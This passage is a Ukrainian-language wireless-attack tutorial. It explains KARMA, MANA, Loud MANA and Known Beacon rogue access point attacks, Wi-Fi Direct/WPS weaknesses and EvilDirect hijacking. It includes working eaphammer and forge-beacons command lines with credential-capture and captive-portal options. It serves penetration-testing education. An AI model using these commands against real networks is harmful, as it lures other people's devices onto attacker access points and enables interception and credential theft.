Цей метод дозволяє зловмиснику створити зловмисну ​​точку доступу (AP), яка відповідає на всі тестові запити від пристроїв, які прагнуть підключитися до мережі. Ця техніка обманом змушує пристрої підключитися до точки доступу зловмисника, імітуючи мережі, які шукають пристрої. Коли пристрій надсилає запит на підключення до цієї шахрайської точки доступу, він завершує з’єднання, змушуючи пристрій помилково підключатися до мережі зловмисника.

МАНА

Потім пристрої почали ігнорувати небажані відповіді мережі , знижуючи ефективність початкової атаки карми. Однак новий метод, відомий як атака MANA , був представлений Яном де Вільєрсом і Домініком Уайтом. Цей метод полягає в тому, що шахрайська точка доступу збирає списки бажаних мереж (PNL) із пристроїв, відповідаючи на їхні широкомовні тестові запити з іменами мереж (SSID), які раніше запитували пристрої. Ця складна атака обходить захист від початкової атаки карми, використовуючи спосіб, у який пристрої запам’ятовують і визначають пріоритети відомих мереж.

Атака MANA працює шляхом моніторингу як спрямованих, так і широкомовних запитів зондування від пристроїв. Для спрямованих запитів він записує MAC-адресу пристрою та запитане ім’я мережі, додаючи цю інформацію до списку. Коли надходить широкомовний запит, точка доступу відповідає інформацією, що відповідає будь-якій із мереж у списку пристрою, спонукаючи пристрій підключитися до шахрайської точки доступу.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Гучна МАНА

Гучна атака MANA — це розширена стратегія, коли пристрої не використовують спрямоване зондування або коли їхні списки бажаних мереж (PNL) невідомі зловмиснику. Він працює за принципом, що пристрої в тій самій зоні, ймовірно, мають спільні імена мереж у своїх PNL . Замість того, щоб реагувати вибірково, ця атака транслює відповіді на тестування для кожного імені мережі (ESSID), знайденого в об’єднаних PNL усіх спостережуваних пристроїв. Цей широкий підхід збільшує ймовірність того, що пристрій розпізнає знайому мережу та спробує підключитися до шахрайської точки доступу (AP).

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Відома атака Beacon

Коли атаки Loud MANA може бути недостатньо, атака Known Beacon представляє інший підхід. Цей метод підбирає процес підключення шляхом імітації точки доступу, яка реагує на будь-яке ім’я мережі, перебираючи список потенційних ESSID, отриманих зі списку слів. Це імітує наявність численних мереж, сподіваючись знайти відповідність ESSID у PNL жертви, спонукаючи спробу з’єднання зі сфабрикованою точкою доступу. Атаку можна посилити, поєднавши її з --loudможливістю більш агресивної спроби захоплення пристроїв.

Eaphammer реалізував цю атаку як атаку MANA, де заряджаються всі ESSID у списку (ви також можете поєднати це, --loudщоб створити атаку Loud MANA + Known beacons):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Відома атака Beacon Burst

Атака Known Beacon Burst передбачає швидку трансляцію кадрів маяків для кожного ESSID, зазначеного у файлі . Це створює щільне середовище підроблених мереж, що значно підвищує ймовірність підключення пристроїв до шахрайської точки доступу, особливо в поєднанні з атакою MANA. Ця техніка використовує швидкість і гучність, щоб перевантажити механізми вибору мережі пристроїв.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
 --bssid de:ad:be:ef:13:37 \
 --known-essids-file known-s.txt \
 --dst-addr 11:22:33:11:22:33 \
 --burst-count 5

Wi-Fi Direct

Wi-Fi Direct — це протокол, який дозволяє пристроям безпосередньо з’єднуватися один з одним за допомогою Wi-Fi без використання традиційної бездротової точки доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що полегшує прямий зв’язок між пристроями. Примітною особливістю Wi-Fi Direct є те, що один пристрій бере на себе роль точки доступу, відомої як власник групи, для керування з’єднанням.

Безпека підключень Wi-Fi Direct встановлюється за допомогою Wi-Fi Protected Setup (WPS) , яка підтримує кілька методів безпечного сполучення, зокрема:

  • Кнопкова конфігурація (PBC)

  • введення PIN-коду

  • Комунікація ближнього поля (NFC)

Ці методи, зокрема введення PIN-коду, чутливі до тих самих уразливостей, що й WPS у традиційних мережах Wi-Fi, що робить їх цілями для подібних векторів атак.

Викрадення EvilDirect

Викрадення EvilDirect — це атака, характерна для Wi-Fi Direct. Він відображає концепцію атаки Evil Twin, але націлений на підключення Wi-Fi Direct. У цьому сценарії зловмисник видає себе за законного власника групи з метою обману змусити пристрої підключитися до зловмисної сутності. Цей метод можна виконати за допомогою таких інструментів, як airbase-ngвказавши канал, ESSID і MAC-адресу імітованого пристрою.

Інші статті по темі
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.